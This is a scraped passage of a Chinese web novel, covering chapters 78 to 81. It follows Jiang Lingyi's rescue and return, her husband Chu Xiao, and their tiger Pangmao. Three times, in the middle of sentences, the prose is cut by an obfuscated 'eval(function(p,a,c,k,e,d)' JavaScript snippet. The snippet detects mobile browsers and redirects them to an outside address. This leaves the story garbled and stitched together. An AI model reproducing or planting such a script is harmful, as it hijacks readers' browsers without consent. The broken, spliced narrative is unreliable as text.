“诶呀,三哥,你说什么呢,我不是这个意思啊。”小五急着开口辩解,要是这番话传出去了,还有什么好人家的姑娘想嫁给他啊。“三哥,你想想,钱家的事情。” 小五挤眉弄眼的提示他,消息是他们两个一起查的,所以内容两人都知道,这么一提醒,老三明显也反应过来了。 他艰难的咽了一口唾沫,“小将军还没看?” 小五肯定点头:“直接交到少夫人手里了。” 两个人颇有些难兄难弟的意思了,对视了一眼更觉得忧愁,又开始互相埋怨。 “小五啊,你就不能提示一下小将军吗?怎么直接就给少夫人了呢!” “三哥,你就不能把那些没用的删了吗,为什么要写上去呢?” 说到这老三可来精神了,“小将军说调查他们家,那最应该查清楚的可不就是和咱们将军府有关的事情了吗,生意方面我直接拿了账本,剩下的他们为人我也写的清清楚楚,唯一和咱们将军府扯上关系的,可不就是那钱家要上赶着倒贴咱府里吗,我这不得好好写写?万一小将军真的要卖身了可怎么办?” 所以老三就把钱家是怎么得罪人,又怎么到凉州,最后还产生了联姻的想法写的清清楚楚,时不时的还有自己的主观评价,和前面严谨的调查风格很不相符,写的十分放飞,看得出来是在认真担心楚萧的婚姻大事了。 小五也深以为然的点头,这些天只要姜令仪出门,他们会轮流暗中护着她的安危,她的人格魅力早就征服了这一帮子人,都认可了她这个少夫人,对什么钱家小姐还是金家姑娘都不感兴趣。 “听说女人好哄又不好哄,也不知道小将军能不能哄好。” 楚萧可不知道他的贴身护卫在担心自己会不会哄女人开心,姜令仪一边走一边翻看钱家人的记录,楚萧伸手虚揽着她,防止她不看路撞到自己。 “二哥,看来你的行情很好啊。”姜令仪翻看的很快,到了最后,翻页的速度明显慢了下来,饶有兴致的看着记录人略显抓狂的潦草笔迹。 楚萧还在兢兢业业替她看路,闻言略显迷茫的转头看向她,“什么?” 姜令仪把最后两页纸递给他,示意他看看。 和小五他们猜测的不同,姜令仪根本不会因为这种捕风捉影的事情生气,她自问看人的本事还算不错,要是楚萧真的有这个心,她绝对看得出来。 要是他没有这个想法,姜令仪不会因为别人想攀附权贵而生楚萧的气。 要是他有这个想法,那她生气又有什么用? 楚萧一目十行看完,语气有些僵硬,“我不知道。” 听着硬邦邦的,但是姜令仪硬是从他凌厉的目光中看出了一丝委屈。 就像是被冤枉的小狗狗。 “我又没有说什么。”姜令仪眼波流转,嘴角噙着笑意,“我当然是相信二哥的。” 直到手心里传来柔软的触感,楚萧紧绷的脊背才微微放松下来,柔若无骨的细腻和他手上粗糙的茧子紧紧贴合,楚萧才有了些真实感。然后把一直憋着的一口气轻轻吐了出来。 就是说,不知道为什么,比他第一次上战场还紧张些。 现在是往待客厅的方向走,楚萧本是想跟着一起去的,但是他忽然想起来了还有些别的事情。 “咳,檀娘,父亲让我批的公文还没有批完,我先去书房了。” 姜令仪被他突然停下也带着停了下来,听他找的不走心的借口实在是要非常努力才能忍住不笑。 “那二哥不跟着我去见客了吗?” 楚萧捏了捏她的手:“想用他们就用,不想用就换人,实在不行就先让秦大人先负责,想来他也十分愿意的。” 姜令仪拍了一下他的手背,“秦大人要负责的事情太多了,各种大事都少不了他负责的,不要张口就给秦大人加活儿。” 又横了他一眼,“快去批你的公文吧。” 姜令仪一甩帕子扭头走了,楚萧摸了摸她拍过的手背,唇角微微向上,然后又想起了什么,沉声道:“让楚三和楚五去演武场等我。” 至于公文,什么公文? 等到楚萧以检查他们今日身手为由将两人狠狠揍了一回之后,小五子一直悬着的的心反而落了下来。 “怎么,不担心小将军夫妻闹别扭了?” 小五子龇牙咧嘴的在伤口上涂药,闻言摇了摇头:“三哥,你还不知道小将军的脾气吗,要是真有什么不顺心的,咱兄弟俩能只挨这一顿揍?” 楚萧本来就会时不时的和他们切磋一番,今天这一出,也说不上是什么惩罚。

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一开始还好,都是些小型没什么攻击力的动物,但是渐渐的就开始不对劲儿了,他们好像隐隐听到了虎啸狼嚎,应该没听错吧? 大家都坐不住了,虽然看姜令仪好像是很得动物亲近的样子,但那可是老虎和狼啊,如果猜错了,那他们这些人可不够老虎塞牙缝的。 “少夫人。”他们跟着于敏之这样喊她:“咱们启程吧。” 看样子就算是休息,也不可能真的能休息好了,姜令仪点头:“那就出发。” 用最快的速度收拾了东西,把火熄灭,把吃剩的东西埋起来,他们就打算动身了。 于敏之看不上他们的胆小,但也知道这是人之常情,他看到姜令仪亲近动物,只会觉得是天神的恩赐,但是普通人见了,一开始可能觉得神奇,但要是大型动物,像是狮子老虎也对她臣服,那他们就会恐惧。 人总会排斥异端,不论好坏。 所有他们提议出发的时候,于敏之也没有反对,他有些不愿意让他们看到姜令仪的神奇之处,如果他们生出了异心,对他们两个人就太不利了。 姜令仪察觉出他的忧虑,安抚的拍了拍他的肩:“别担心。” 于敏之点头,但并没有被安慰到,忧心忡忡的盯着四周的人,少夫人本事很大,就是人有些单纯,还是得靠他,肩上无形的无压力增加,他小身板挺的更直了。 “有马蹄声。”于敏之动了动耳朵,警惕的看向了前方。 一路上于敏之早就证明了自己的能力,他的话真实性没有人怀疑,都默契的拿出了兵刃,荒郊野外的,就怕是遇上盗匪和亡命之徒。 随着来人靠近,他们倒是打消了是山匪的想法,这样训练有素的队伍,怎么看都不像是乌合之众。 越来越近了,其实惊人的马蹄声奔腾而来,惊起了一大群树上的鸟雀,十几人的队伍迅速贴近,远远看去,就觉得气势惊人。 打马而来领头的人更是出众,只是一眼,姜令仪就移不开视线了。 而随着楚萧秘密行动奔赴吴国的心腹,就看到他们英明神武的小将军,停在了一个年纪不小的婆子面前,喊了她一声:“檀娘。” 那是他们心善美丽的少夫人? 他们只想问一句:小将军,眼瘸否? 79. 第 79 章 在属下怀疑自家上司眼睛出毛病的时候,楚萧已经翻身下马,快步朝姜令仪走去。 护送姜令仪的人不知他的身份,下意识举起武器,姜令仪上前:“二哥,你怎么认出我的?” 看他们交握在一起的手,双方默契的离远了一些,连于敏之这个孩子都很有眼色的走开了,虽然他也很崇拜小将军,不过现在明显不是时候。 护送姜令仪的人对楚萧的印象非常不错,英姿勃发的少年郎,还不惧危险越过边境来接姜令仪,他们可是受了一众管事的嘱托,要好好看看小小姐的夫婿如何,至少第一面,他们就觉得挺满意的。 至于楚萧的那些个心腹,现在还没有回过神来,他们都是见过姜令仪的,所以受到的冲击也是十分之大,这真的是他们少夫人吗? “我记得,老大好像会一点易容,是不是保护少夫人的时候教给少夫人了?” 另一个观察更仔细些:“我看不像,老大的易容术太粗糙了,少夫人这可是一点儿违和感都没有,也不知道小将军怎么认出来的?” 这个问题也是姜令仪想知道的:“二哥,快跟我说说,你怎么看出我来的?” 她摸了摸自己的脸,没问题啊,她觉得自己这个妆化得很成功,连亲爹都认不出来的程度,她真的很好奇,楚萧到底是怎么一眼就叫破她的身份的? “眼睛。” 别的可以改变,但是楚萧一和她的视线对上,就认出了她,那样一双熠熠生辉的眼睛,也只她才有。 姜令仪却会错了意,摸了摸下巴,没错,现在没有美瞳什么的,所以眼睛很难改变,固然可以画眼妆改变眼睛的形状,但是眼珠瞳孔什么的是没办法改变的,这一点小小的瑕疵,在现在也没什么,主要是没人能像楚萧这样细心。 其实楚萧也不是细心,是他早已在心里描绘了无数次她的模样,才能一见她就能认出来。 自从知道姜令仪失踪,楚萧就没有睡过一个安稳的觉,要不是怕不眠不休的找人撑不住,怕自己还没看到人就倒下,一天不到三个时辰的休息时间他也恨不得省了去。 这几天将军府可谓是阴云罩顶,直到有了姜令仪的消息,这气氛才算是活了过来,但是楚萧心情不好。 所谓的消息,不过是笼统的一句报平安,具体人在哪里,什么时候回来,有没有受伤,这些是一个字都没提,后来姜令仪的亲笔信来了,说马上返程,楚萧就迫不及待的来接人了。 至于针对吴国,不是还有楚将军在呢吗? 楚将军和林嘉相视苦笑,这些天楚萧身上冒的冷气越来越多,连楚将军这个当爹的受不住了,平日里楚萧生了气还能在战场上发泄发泄,现在他忙着找人,看谁都不顺眼。 好在真真切切的看到了人,楚萧的表情马上就好看了很多,也跟她交代了她被挟持的始末。 “有人叛变了。”楚萧声音低沉,听起来就觉得他很是不满:“是我爹的一个老部下了,他配合着吴国奸细把你劫走的。” 这个老部下没有什么大才能,但胜在忠心,楚将军看到他叛变的时候,第一反应就是不可能,这老伙计兢兢业业跟着他干了几十年,没道理现在才叛变。 深查了之后,才发现是他独子的缘故,这人年纪不小,妻妾不少,但是这么多年唯有这么一个独苗苗,一大家子宠的厉害,不小心去了赌坊,输红了眼的时候钻了人家的套子,输了三万两银子,就为了这,他给吴国奸细大开方便之门,让他们顺顺利利的把姜令仪掳走了。 姜令仪表示自己理解了:“他知道爹绝不会为他儿子网开一面,所以才会这样铤而走险的,对吧?” 正因为他跟了楚将军多年,所以他才了解楚将军的性格,如果是冤枉的,那怎么都好说,但是他儿子是真的输了钱,楚将军最看不上赌钱的这些人,就是知道有人设局,也绝不会认为他儿子无辜的。 而且就姜令仪的经验来看,设局的人,应该就是孟许文他们,看来他们是真的对将军府的关系了如指掌,也知道了很多人的弱点,隐匿多年,一击即中,要不是被针对是自己,姜令仪可能还会为他的智计鼓掌。 想起一直拼死保护自己的暗卫,姜令仪问了他们的情况。 “他们掳走你就急着赶路,暗卫受了重伤,现在还昏迷着。” 姜令仪是一进客栈就被迷晕了的,所以不知道他们的战况如何,但是想也知道,在客栈里有那么多人,暗卫总是会束手束脚的,吴国一方就没有那么多顾忌了,毕竟客栈里的都是晋国百姓。 到现在都还没有清醒,那就说明伤的不轻,他们强撑着一口气等人来,没想到等了许久都没等到。 之前自己被抓,姜令仪都没这么生气:“是故意这样做的?” 楚萧点头。 他们正好选的这天动手,下着雨,出门的人少,且那天轮值的人正好是背叛楚将军的人,他只不过是让人封锁了消息,理由也正当,不过是怕引起恐慌,谁也没有怀疑,根本没想到他们的少夫人就这样悄无声息的被掳走了。 事后不少人捶胸顿足,暗骂自己当时怎么就没有再警醒一点。 也因为他的动作太大,很容易就能找到证据把人抓起来了,没想到他供认不讳,把所有的罪责揽到了自己身上,只想让他儿子不沾一点事端。 楚萧觑着她的脸色:“他们一家失了庇护,就算不抓他儿子,他也得不了什么好。” 楚萧是故意的,其实他儿子算不上干净,随便查查就能把他扔牢里待上几天,或许受了苦,这人也就收敛了。 但是楚萧为什么要让他有浪子回头的机会呢? 在外面心惊胆战的活着,不像以前那样有权有钱肆意潇洒,还上有祖父母和母亲需要侍奉,他们的儿子丈夫因为他丢了性命,他们还会无怨无悔的供养他玩乐吗?他们家还能一如既往的把他当宝贝吗?他们真的不会生出嫌隙吗? 楚萧觉得,这样痛苦的活着才是对他的惩罚。就是,他怕姜令仪会觉得自己没有惩罚他而觉得伤心。 不用细想,姜令仪就知道他的意思,比起牢狱之灾,楚萧这是从身心上折磨这一家人,或许最先处斩的楚将军部下才是最安心的,他为自己的儿子付出了一切,是含笑赴黄泉的。 剩下的人,怕是一辈子都活的不安稳。 姜令仪不在关注这些闲杂人等,只想着赶紧回去了要给两个暗卫喂一些灵泉水,她又想到一个问题:“你是怎么找到这里的?” “跟着胖猫来的。” 姜令仪想起了之前听到的虎啸:“胖猫呢?他跑着去玩儿了?” “他一路上都是这样,时不时就跑出去打猎,吃饱了再跟我们汇合。” 一开始楚萧根本没有发现后面还跟着一个小尾巴,直到他想改换小路走官道的时候,胖猫一下子窜了出来,吼着让马儿走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928224|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小路,才暴露了。 胖猫现在的体型虽不像是正常猛虎那般大,但早已不会被人看成小猫了,有可能是他出生就体弱的缘故,他现在比成年老虎小一圈,但也是实打实的万兽之王。 姜令仪从不拘着他出门,只是让他一定要躲好,不许让人看见他,胖猫机灵也听话,时不时就会躲着人去山里玩儿,至于玩儿什么,反正他最喜欢打猎了。 所以他跟从小长在深山里的猛兽差不了多少,而且还更为聪明,有姜令仪时不时喂他灵泉水,他的智商也在一点点增加,姜令仪甚至可以感受到他说话越来越完整了,都不用靠心情感觉都能知道他的需求。 所以他知道自己的主人失踪了,也知道楚萧要去找她,更知道偷偷摸摸的跟上来,还能不被发现,不得不说,动物们真的是丛林的宠儿,只要他们想,连身经百战的将士们都发现不了他。 “嗷呜。” 姜令仪听出来了胖猫独特的撒娇声音,含笑看向声音来源,只见威风凛凛的一只纯白大猫,气势汹汹的朝姜令仪冲了过来。 见楚萧没动,其余人也没动,于敏之双眼放光的看着胖猫的毛毛。 姜令仪看他嘴边的血迹,伸手谢绝了他的热情,“住脚,胖猫。” 不明所以,但是胖猫还是看懂了她的手势,四脚并用紧急刹车,留下了一长串的划印,他疑惑歪头,仿佛是在问为什么拒绝他的亲近。 现在的胖猫还能看出来是白色的,这还是因为楚萧会在休整的时候把他喊过来给他简单擦擦,要不然这么多天的奔波,他早就变成花猫了。 姜令仪点了点他的脑袋:“小脏猫,刚刚干嘛去了?” 胖猫舔了舔嘴角,二话不说又冲回去,给她拖回来一只狼,又一只狼,整整齐齐摆了六只。 狼是群居动物,看他的样子,应该是嚯嚯了一群啊,姜令仪捂住心口,老天爷啊,这是动物界的争端,应该不关她什么事吧? 胖猫不明白,他都把猎物打回来了,为什么还不开动,对了,他们不吃生的,他又把狼往楚萧的方向拱了拱,让他烧火做饭。 看他越来越离谱,姜令仪不得不拒绝他的好意:“胖猫,我还不饿,我也不吃这些……狼。” 这都不吃啊,真难养活。 姜令仪狠狠揉了揉他的耳朵,警告他:“我听懂了,你说我难养活。” 胖猫立刻左看右看,准备找其他人转移注意力去了,这两天跟楚萧呆腻了,他把视线投向了于敏之。 胖猫迈着矜持的步子,高傲的仰着脑袋去了于敏之身边,围着他嗅了两圈,又朝他伸出自己的前爪。 于敏之挠头,看向姜令仪,想让她给自己点提示。 姜令仪:“他是想跟你握手,握握手就是好朋友了。” 原来是想跟自己做朋友啊,于敏之连忙双手握住胖猫的爪子,还上下晃了晃。 胖猫满意了,把自己的战利品推给他一只。 于敏之立马开始夸他:“太厉害啦你,居然能打一窝狼还毫发无损,你简直就是丛林王者,要是能教教我就好了。” 一人一猫相处的还挺好。 跟着楚萧的属下就很羡慕嫉妒了,要知道这么多天了,胖猫除了让楚萧摸,其他人都不能靠近的,这让眼馋他的一群人心里痒痒的,没想到这小子一见面就能和胖猫一起玩儿了。 “胖猫一向对孩子比较宽容。” 80. 第 80 章 80 真的看到了楚萧,和他说了会儿话,姜令仪才后知后觉感到了害怕。 “二哥……” 她的话没说完,楚萧的手已经放在了他的头上,安抚的拍了拍:“好了,没事了。” 就这么一句话,姜令仪的眼泪都快出来了。 为了转移一下注意力,姜令仪问起了楚怀谦:“怎么突然回宫了?” “他想起来了。” “好啊,他恢复记忆了也不说。”姜令仪被气笑了,笑声里满是杀气:“要不是我出了事,他是不是准备一直不吭声?” 说着,她想起来现在两国正打仗呢,“你自己跑过来的,有没有和父亲说?” 这是连带着觉得他也不靠谱了? 楚萧严肃点头:“父亲同意了的。” 姜令仪这才放心。 被迫同意的楚将军还在和林嘉大骂那不靠谱的儿子:“你说说他怎么个回事儿?跟我说去接檀娘,他去哪儿接啊?真是没用,连自己媳妇都护不住,白长了那么大的个子。” 林嘉想,如果易地而处,现在被抓的是耿宁宁,那他估计也会心急如焚的想要早点见到她,更遑论现在战场上有楚将军压阵,他更是能走的安心。 但他肯定不会这么说,毕竟他也是楚萧撂挑子的受害者,他附和着说:“小将军应该心里有数。” “他有个屁的数。”楚将军在营帐里走了两圈,还是不解气:“别瞎跑一通,最后错过檀娘的踪迹了。” 林嘉看他自己一个人自言自语,明白了这是也着急呢,只是苦于必须呆在这里,就发泄一下。 既然这样,林嘉就不再接话了,任由楚将军自己转圈圈,他拿着斥候带回来的情报,一字一句读着,时不时在旁边的纸上记录一下,在脑海里推敲着用什么计策,浑然忘我,连楚将军什么时候溜达出去了都不知道。 楚将军出去就换了一副神色,跟一些老伙计炫耀:“萧儿能独当一面了,萧儿媳妇也不错,能帮衬着他,日后啊,楚家还是要看年轻人的了。” “将军,咱少夫人没事儿了?” “当然没事了。”楚将军大笑:“是我治军不严才害了萧儿媳妇被抓,结果她自己机敏,一个人就从吴国回来了,你说说,到了现在,我成了那个拖后腿的了。” 其他人反驳:“将军这话不对,咱们哪能料到他会背叛将军,不过小将军确实神勇,少夫人也担得起楚家门楣,将军后继有人啊。” 说起这个,楚将军这些老伙计都心虚,硬算下来,不是楚将军治军不严,是他们御下无方识人不清,这才让吴国奸细有了可乘之机。 楚将军也没打算治他们的罪,给他们紧紧弦,他打算趁此时机慢慢退了,让楚萧开始接手楚家了。 这个时机正好。 “出发。” 楚萧一挥马鞭,一群人便迅速动了起来,姜令仪也再次享受了和于敏之一个待遇,被楚萧带着骑马。 有楚萧的护送,他们一行人顺顺当当的回了晋国,直接抄近路回了将军府。 一下马,门口居然是如安公主亲自在等着,姜令仪都顾不上自己脸上的妆容了,咧嘴笑着扑过去:“娘,你怎么在门口等着了?” 如安公主被她一张陌生的脸忽然凑近吓了一跳,她一说话,才反应过来这是谁:“你这孩子,这妆化得还挺好,累坏了吧,赶紧回去歇一歇,再把这妆洗了,伤眼睛。” 这一路确实很累,不止是赶路累,而且还要担心这忧心那,费心的那种累。 所以她也没有拒绝:“那我先睡一觉,娘,给这孩子安排一个住处,这次我回来多亏了他呢。” “好,我来安排,你赶紧休息吧。”如安公主心疼的催她回屋:“不要担心别的了。” “好。” 如安公主看着比楚怀谦大一点的孩子,皮肤微黑,眼睛澄亮,小小年纪居然就敢在吴国孤身救人,救的还是姜令仪,她一下子就对这孩子好感猛增,想着他也是跟着一路奔波,忙安排人收拾屋子,又让人上了些好消化的吃食,吃点东西再去休息。 姜令仪那里也是同样的待遇,一进屋,就摆满了吃的喝的,丫环们简直就像是捧着一个易碎的珍宝,生怕她磕着碰着。 姜令仪好笑的拍了拍自己:“别怕,我这不是回来了吗?” 她知道这是吓到他们了,看自己的语言安慰不管用,就随他们去了,等过两天,他们适应了她回来这件事实,肯定就习惯了。 吃饱喝足,姜令仪反而不困了,她躺在床上,和楚萧又开始聊天:“谦儿在宫里怎么样?” 她不睡,楚萧也没有勉强,跟她说着楚怀谦的近况:“当太子了,皇帝中风瘫痪,太子监国,他做的很好。” 其实按照楚萧收到的消息来看,何止是做的很好啊,他简直是天生就是当皇帝的料子,也不知道他哪里来的那么多点子,把大臣们治的服服帖帖的。 这属实是别人羡慕都羡慕不来的天赋。 楚萧从枕头底下抽出来一封信,递给姜令仪,“这是谦儿寄来的。” 姜令仪展开信纸,一看就乐了。 原来,信上除了叮嘱楚萧抓紧出兵把姜令仪救出来之外,还拉拉杂杂的诉了好些苦,什么“大臣们今天参这个明天告那个烦死了”,“什么都不干只知道推脱责任别的屁用没有”,还有“爹我好想你和娘啊,到时候娘回来了你们来陪我吧”等等。 “谦儿这是撒娇让我们过去呢,你想不想回京城?” 楚萧不说话。 姜令仪已经摸清楚了他的脾气,如果对什么事情感兴趣,他的话就会多起来,一点儿没有平时的冷淡模样,要是不感兴趣,他就有一搭没一搭的和你聊,兴致缺缺的样子,如果很抗拒,他就是现在这样,一声不吭的用沉默来反抗。 姜令仪很想摸摸他的头,事实上他也这么做了,他一脸疑惑的盯着她,简直跟胖猫一模一样。 姜令仪把信递给他,上面不经意的写着自己的难处和困境,句句不提自己处境,却通篇都在卖惨。 “二哥,谦儿可以吗?” 姜令仪满是忧心,他还那么小,真的可以肩负起整个天下吗? “他可以的。”楚萧笃定道:“有很多人会帮他,会期待他的成长。” “包括你吗?” “……包括我。” 楚萧还小的时候,跟着楚将军参加过一次宫宴,那次宴会留给他的印象不大好,皇宫里的奢靡和他见到的凉州形成了极大的反差,所以他不喜欢皇宫。 但是现在的太子,他楚怀谦的大名还在族谱上明晃晃的写着呢,他又不得不管,这个儿子真是认得不值当。 楚萧在心里默默后悔了一秒。 也因为姜令仪这番话给他打了预防针,所以接下来接到了封他摄政王的圣旨之后,楚萧还能平静的接旨谢恩。 但是转头他就跟姜令仪要了一个保证:“等他亲政,我们就来一定要离开京城。” 京城是温柔乡,英雄冢,但是楚萧的宿命却在战场,他怕自己有一天也会被京城同化了,他不属于这里,他注定应该回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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按照套路,这不就是典型的穷小子和白富美的故事吗?姜令仪都听多了,好一点的,两个人磕磕绊绊的过完这辈子,差一点的,会因为两家生活习惯不同而分道扬镳,最恶心人的,就是这凤凰男想要吃绝户,把女方一家都害了,但是在阶级明确的社会,第三种情况应该不会发生的,毕竟这可是皇家啊。 哪成想如安公主满脸疑惑:“为什么你觉得他们会成亲?” 难道不是吗? 姜令仪也很疑惑,按照她以前看过一点的电视剧来看,古代女子是很重名节的,像郡主这样的,一路上被护送回京,和陌生男子同吃同住那么多天,不会被下嫁于他吗? 很多人设计未出阁的姑娘的时候,就会让他们落水,然后把人救上来,这就算是有肌肤之亲了啊,难道不是这样的吗? 当然不是了,如安公主给她解释:“这位义士的品行让皇上都有所耳闻,赐下了‘忠义之士’的称号,大家都赞扬他的所作所为,如今还有不少流传下来的诗。至于郡主,也没人会怀疑她的贞洁,他们两个的故事,可以称得上是一段佳话了。” 故事的结尾,那位义士和郡主结为了异性兄妹,义士继续云游天下行侠仗义,郡主也嫁了门当户对的公子,一辈子虽说没有得到一个一心人,但是子孙孝顺还有出息,算得上是很不错了。 这样啊。 听了这个故事,姜令仪心里不知道是什么滋味,有些酸酸的,又有些欣慰。 欣慰于故事里的两个人没有被流言蜚语淹没,又有些感慨他们各自不出错的人生。 至于他们两个是否相互有意,或许只有当事人才知道了吧。 摇了摇头,把脑海里乱七八糟的想法甩出去,姜令仪从刚刚的故事里得到了灵感。 “那我也认敏之当弟弟吧。” 81. 第 81 章 81 楚怀谦这些天过的很充实,大臣们暂且龟缩了,这不是说他们对太子服软了,而是开始观望,就像是伺机而动的鬣狗,只要他漏出一丝破绽,他们就会群拥而上把他撕碎,楚怀谦对这些大臣们的伎俩知之甚深,如何把他们的试探挡回去也轻车熟路,这些不会让他多烦恼。 这两天让他费心的,是怎么给姜令仪布置住处。 按理说这个应该是难不倒他的,他知道姜令仪所有的喜好,慈宁宫里所有的摆设他都记得,但是现在和以前又有那么些不同,当年的姜令仪是实打实的太后,用的东西都是皇宫里最好的,她想要什么就要什么,用她的话来说,她就是一个快乐的寡妇。 但是现在皇帝还没死呢,大臣们再希望他上位,他也只是一个太子,越不过皇帝去。但要是让皇帝死了,那也不好办,所有的矛盾都会明晃晃的转移到他身上了。 算了。 楚怀谦绞尽脑汁才布置了一个宫殿,离养心殿不远,不在后宫之内,简洁大方又不失华贵,还嚯嚯了不少他私库里的东西,实在没有的,就借着皇帝的由头赏下去,直接摆进了明月宫。 楚怀谦风风火火的倒腾宫殿的消息很快就传了出去,稍一打听就知道他这是在为自己的养父母安排住处,哪怕这里只是他们偶尔休憩的地方,他也布置的格外精心,也让众人不得不叹这一对夫妻荣宠之深。 这就让很多大臣心里不平了,想他们夫妻年纪不大,结果就因为运气好,捡了一个太子养了两年,就能青云直上,这凭什么? 不过这话他们也就只敢在心里想想,要真让他们说出来,他们才没这个胆子。自古以来都有言官谏臣,但是这次太子布置的是一座偏僻的宫殿,用的是自己的东西,他们想参一本都不知道参谁,劳民伤财?没有,恃宠而骄?人家还没到呢。 憋着一肚子气,终究还是默默忍了,之前因为封摄政王的事情就已经跟太子闹得很不愉快了,算了,还不知道这对夫妻是什么路数,等他们来了再说吧,日子还长着呢,且看吧。 而不在京城,却搅乱了不知多少人心神的夫妻俩,此时已经分开了。 在接到封楚萧为摄政王圣旨的时候,楚将军当机立断,也把楚家家主的位置让了出来。 楚将军半辈子大风大浪不知道经历了多少,他格外看得开:“一家不能有两个声音,咱们父子两个都身处高位也太惹眼了,萧儿,太子既然信你,那你就不要辜负他的信任,等大局定了,也不要恋权,带着檀娘出去走走看看,比待在京城那个大染缸好多了。” 一边说着,楚将军拿出了有点卷边的族谱,讪讪的压了压角,压不平,他就当没看见,三两下改了楚家族长的名字,得,成了。 楚萧拿出姜令仪给他的令牌:“这是李家军的虎符,父亲,不出三个月,吴国必亡。” “哈哈,有志气。”楚将军大力拍了拍他的肩:“那就拿吴国来庆贺太子归京吧,这么多年,你娘一直跟着我受累,我要带她去玩玩儿,剩下的就看你们年轻人的吧。” 楚将军还是比较了解自己的,他斗不过那些心眼子比藕还多的文官,而且他在也不利于楚萧掌权,如安公主前半辈子被困在皇宫,后半辈子被困在凉州,现在有时间了,他想着带她到处走走。 就这样,楚将军夫妻离开凉州去玩儿了,姜令仪也要带着人先一步回京,只留了楚萧自己。 二十出头已经是一人之下万人之上的摄政王并镇国大将军,楚萧并没有多开心:“檀娘,你何时动身?” 楚将军夫妻昨晚已经低调的离开,这几天战事陷入胶着状态,晋国皇帝中风,吴国太子昏迷,细数起来,吴国出的乱子更大,晋国好歹有太子把架势撑起来了,小小年纪看着就有明君之相,有抱负的大臣也能安下了心,所以晋国很快就稳了下来,政权平稳过度。 但是晋国就离了大谱了,皇帝本来就不顶事,原本很得人心的太子忽然昏迷,诊断说没什么问题,醒了之后,原本拥护太子的那一批官员全部倒戈,和太子明火执仗的干起来了,说他是迷惑人心的妖物,反正到现在还是乱糟糟的,不知道该怎么收场。 也因此,边境也安静了几天,听不到双方放狠话了,楚萧也能从战场上抽身下来。 姜令仪笑吟吟的哄他:“分别只是暂时的,二哥,京城富贵人家多,我先去攒攒钱,买一个只属于咱们两个的家,等你回来,就能看见咱们的新房子啦。” 不止如此,她还问楚萧的喜好,喜欢什么样的木头,喜欢小桥流水的风格还是粗犷朴实的风格,喜欢什么树,一点一点把自己的构想说给他听。 随着她的描述,楚萧眼前也出现了画面,不大不小的两进院子,里面中了不同的果树,闲时开花,忙时结果,胖猫在院子里扑蝶逗花,最好再有一个演武场,等以后有了孩子,他可以教他们习武。 “都听你的。” 看他愉悦的眉眼,姜令仪忍不住摸了摸他的头,怎么这么乖呢,还这么好骗,还都是没影的事情的,就这么被她画的大饼哄好了。 其实姜令仪心里清楚,不管是楚萧,还是楚将军,如安公主,姜尚……他们对自己都很好,把自己放在心上,所以才毫不设防。 姜令仪前世的时候,她也不是没有得到过别人的爱,但是从来没有得到过像现在这样的偏爱。 她是那种别人对她好,她会对别人更好的人,在这个时代,她得到了以前想都不敢想的偏爱,姜令仪想,就算现在能回到现代,她恐怕也不会再回去了。 姜令仪看着毫不知情的楚萧,掐了他一把,他就这样看着,也不躲,姜令仪笑了起来。 安抚好了楚萧这只大猫,姜令仪安排人去找那只真正的大猫。 哪知等姜令仪把东西都收拾好了,还是没找到胖猫跑哪儿去了。 姜令仪哭笑不得:“这是生我气了?” 之前因为胖猫自己跑出来跟着楚萧去找人,姜令仪没收了他几天的小零食,现在还在闹脾气呢。 楚萧自告奋勇:“我去找他吧。” 本来姜令仪没把这件事放在心上,依着胖猫的性格,不过两顿饭就该找她撒娇要小零食了,这次居然忍了一天多了没过来。 不对劲儿。 姜令仪摸了摸自己的下巴,围着楚萧转了两圈:“二哥,你是不是偷偷喂胖猫了?” 思考了不到一秒,楚萧果断出卖了胖猫:“他自己找到了零食,我没给他。” 他顶多算是知情不报,是从犯,主要责任还是在胖猫身上。 他把自己的责任推卸的干干净净,丝毫不提他是如何面对胖猫的撒娇而心软的。 胖猫就是一个小人精,他跟姜令仪撒娇从来没有成功过,所以他就知道了,做错了事情找她撒娇没用。 这次被罚,他就狗狗祟祟的找上了楚萧。 别看楚萧看着像是一个冷酷无情的人,但是他对孩子特别容易心软,细数起来,胖猫才是他和姜令仪养的第一个孩子呢,胖猫一找他撒娇,他就“不小心”透露了零食藏在哪里。 姜令仪过去一看,好啊,她吩咐厨房给做的猫猫牌小零食就被嚯嚯的只剩下一个底了。 她脸上的神色不辨喜怒:“胖猫,这是你一个月的零食,既然吃完了,这个月就没有了。” “嗷呜?” 他的叫声饱含了伤心欲绝和不可置信,完全不能接受这件事情,他吃的时候很开心,但是吃完了的惩罚也太痛苦了吧。 不理会胖猫的假哭,反正进京路上肯定是没有零食供应了,不过到时候他自己跑出去加餐她就不管了。 说完了对胖猫的处罚,姜令仪也给楚萧分配了任务:“既然二哥喜欢跟孩子沟通,那就写信告诉谦儿他有了一个小舅舅吧。” 虽然大人们已经商量好于敏之的事情了,姜令仪想认一个干亲,于敏之听到这个消息之后,完全没有一点儿意见,姜令仪救了他,他本来就尊重敬爱少夫人,再加上小将军是他最崇拜的人,要和他们结亲,他都快高兴疯了。 姜家的族谱都被烧了,所以姜令仪做主,直接就效仿了楚家,从姜尚开始重新弄了个族谱,现在于敏之已经是族长了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 